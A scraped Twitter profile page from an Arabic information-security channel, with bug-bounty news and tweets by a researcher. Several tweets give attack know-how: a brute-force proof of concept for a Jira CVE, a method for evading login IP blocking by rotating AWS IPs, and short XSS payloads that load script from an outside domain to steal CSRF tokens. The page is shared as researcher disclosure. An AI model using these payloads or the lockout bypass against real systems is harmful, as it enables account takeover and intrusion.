Update - أب ديت @UpdateLap

نهدف لزيادةالوعي في شتى مجالات امن المعلومات وحمايتها وأختراقها لرقي بالمستوى العربي الى مصاف الدول المتقدمة بالفكرالرقمي وحقوق الانترنت https://t.co/DGBk8LEpr4 UpdateLap.com Amman Joined August 2015

Tweets

808
Followers

2K
Following

201
Likes

306

Mohammad Alghorsi |محمد الغرسي @alghorsi83

2 years ago

جعفر أبو الندى هكر أردني هاد الشب ال اردني بلغ عن 6 ثغرات أمنية في قوقل وعلى اثرها تعاقد مع فيس بوك ولثلاث سنوات كان بقائمة الشرف وبلغ عن 25 ثغرة في الفيس بوك youtu.be/SxYt4KlRv5k @Jafar_Abo_Nada

0 1 3 569 0

Update - أب ديت @UpdateLap

4 years ago

آبل تدفع 100,500$ مكافاة لباحث امني لاكتشافه ثغره امنيه في safari وتمكنه من الاستيلاء على الحسابات وتشغيل كاميرا الويب updatelap.com/2022/01/univer… #apple #BugBounty

0 1 5 0 1

Update - أب ديت @UpdateLap

4 years ago

تقوم الحكوم البريطانية بحملة ضد تقنيات التشفير المستخدمة في "WhatsApp" updatelap.com/2022/01/Britis…

0 1 2 0 0

Update - أب ديت @UpdateLap

4 years ago

تستخدم برامج Android الضارة الجديدة VNC للتجسس وسرقة كلمات المرور من الضحايا updatelap.com/2021/07/new-an…

0 0 3 0 1

Update - أب ديت @UpdateLap

4 years ago

تُصدر Apple تصحيح عاجل لثغرات 0-Day لأجهزة Mac و iPhone و iPad updatelap.com/2021/07/Apple-… #Apple #ZeroDay #bug

0 0 2 0 1

Download Image

Update - أب ديت @UpdateLap

4 years ago

يمكن لجميع متابعين قناة أب ديت الان الانتساب الى برنامج العضويات في القناة للحصول على المحتوى و المقابلات و الاستشارات الحصريه. youtube.com/c/updatelap/jo…

0 0 1 0 0

Download Image

Update - أب ديت @UpdateLap

4 years ago

لماذا تقوم شركة قوقل بتصوير غزة وكامل الاراضي الفلسطينية المحتله بشكل ضبابي ؟! youtu.be/F08YDrY_vOw #Gaza

0 1 4 0 1

Download Image

Jafar Abo Nada @Jafar_Abo_Nada

4 years ago

Thank god, I am proud to be [Ranked 5th] in the world among the #Top_10 security researchers in the month of [May/2021] on the [Bugcrowd Leaderboard] Check out the @Bugcrowd top 10: bugcrowd.com/leaderboard MY BC Account: bugcrowd.com/UpdateLap #kickass #ItTakesACrowd

13 4 122 0 0

Download Image

Jafar Abo Nada @Jafar_Abo_Nada

4 years ago

Rank 5th at🛡️[Atlassian bug bounty program]🛡️ Thanks god, Extremely happy and Proud to Announce that I have been listed at the #TOP_10 security researchers in the world on [@Atlassian Hall Of Fame] MY BC Account: bugcrowd.com/UpdateLap #bugBounty #bug

5 3 45 0 4

Download Image

Jafar Abo Nada @Jafar_Abo_Nada

4 years ago

This is exploit bug that I discovered in jira PoC CVE-2020-36287 Brute Force <GadgetId> start from 10000 to 19999 {BaseUrl}/rest/dashboards/1.0/10000/gadget/<GadgetId>/prefs If server response 401 bug Fixed, If the server's response is 200, the response will contain XML data

3 93 327 0 51

Download Image

Jobert Abma @jobertabma

5 years ago

We just disclosed this beautifully written report and proof of concept from @Jafar_Abo_Nada: hackerone.com/reports/1103582. Especially appreciated the additional feedback we got after mitigating the initial vulnerability. It’s worth reading!

1 31 168 0 20

Jafar Abo Nada @Jafar_Abo_Nada

5 years ago

HackerOne Jira integration plugin Leaked JWT to unauthorized Jira users. Bounty: $3,000 #hackerone #bugbounty hackerone.com/reports/1103582

8 40 235 0 27

Jafar Abo Nada @Jafar_Abo_Nada

5 years ago

Thanks god, Extremely happy and Proud to Announce that Listed on #TOP_10 at @Bugcrowd Leaderboard for the month of March/2020. الحمد لله، بعد توفيق من الله وشهر مليء بالمنافسة، فخور بإدراجي ضمن ال Top_10 في [Bugcrowd Leaderboard] لشهر مارس bugcrowd.com/leaderboard

10 4 58 0 1

Download Image

Jafar Abo Nada @Jafar_Abo_Nada

5 years ago

Thank God, I Got Acknowledgement by @Hacker0x01 After I discovered a bug in the integration process on H1 platform. The #bug found as a result of a mistake in authorizations configuration. which leads to the leakage of the JWT Token to unauthorized user Big Thanks: @jobertabma

8 2 114 0 4

Download Image

Jafar Abo Nada @Jafar_Abo_Nada

5 years ago

Thanks God, I got acknowledged by @Atlassian after discovering a security issue in a jira cloud. Bug type #SXSS This would allow a malicious app to bypass sandbox (as the XSS fires with-in the host app). and attacker can used this #bug with non-malicious apps as a #XSS vector.

0 1 16 0 1

Download Image

publiclyDisclosed @disclosedh1

5 years ago

Twitter disclosed a bug submitted by @UpdateLap: hackerone.com/reports/819930 - Bounty: $420 #hackerone #bugbounty

0 10 35 0 3

Download Image

Jafar Abo Nada @Jafar_Abo_Nada

6 years ago

Third bug in Twitter. Tips You are trying to guess the password on the login page, but the ip was blocked after several attempts 1bypass. Go to amazon, create account. 2From EC2 APIgateway get secret/access key 3In burp pro install ip rotate and past AWS key. Run attack. enjoy.

14 44 161 0 45

Download Image

Jafar Abo Nada @Jafar_Abo_Nada

6 years ago

#XSS Short payload 19char using #Punycode attack&without Space xss vector using emoji punycode <img/src=//🤣.io> <iframe/src=//l❤️.io> <script/src=//㎠.㎺> It's auto translated to cm2.pw by browsers HTML injection to steal CSRF token/attack. <img/src='//x.me